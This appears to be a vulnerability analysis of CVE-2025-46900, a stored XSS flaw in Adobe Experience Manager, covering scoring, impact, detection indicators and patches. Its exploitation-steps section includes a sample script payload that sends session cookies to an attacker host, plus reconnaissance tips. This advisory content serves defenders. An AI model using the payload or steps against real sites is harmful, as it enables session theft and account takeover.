CVE-2025-46900: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46900 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available on June 12, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically the stored (persistent) XSS variant. A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executed in the browser of any victim who subsequently visits the affected page. Exploitation requires user interaction (a victim browsing to the compromised page) but does not require elevated privileges beyond a basic authenticated account. No public proof-of-concept code has been identified at this time (Adobe Advisory, Feedly).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in a victim's browser within the context of the AEM application, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and integrity compromise of web content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component itself. Availability is not directly impacted, but confidentiality and integrity are both assessed as low-impact per the CVSS scoring (Adobe Advisory, Feedly).

There is no evidence of active in-the-wild exploitation or publicly available proof-of-concept code for CVE-2025-46900 at this time. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term (Feedly, Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.22 or earlier (on-premises) or Cloud Service versions prior to 2025.5.0 using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Authentication: Obtain or use existing low-privileged AEM credentials (e.g., a contributor or author account).
3. Identify vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and persist user-supplied input without adequate sanitization.
4. Inject XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected content, the malicious script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System: Unexpected or modified AEM content nodes (JCR repository) containing <script> tags or JavaScript event handlers in text/HTML fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Logs: AEM error logs or browser console errors related to Content Security Policy (CSP) violations if CSP is enabled, indicating attempted script injection.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.23.0 or later, and update AEM Cloud Service to 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding on all form fields, enforce a Content Security Policy (CSP) to restrict unauthorized script execution, and limit authoring/contributor privileges to trusted users only. Regularly auditing content for unexpected script injections is also recommended (Adobe Advisory, Feedly).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, that could allow for arbitrary code execution in the broader context of the June 2025 Adobe patch release (CIS Advisory). No significant independent researcher commentary or social media discussion specific to CVE-2025-46900 has been identified beyond standard vulnerability tracking coverage.
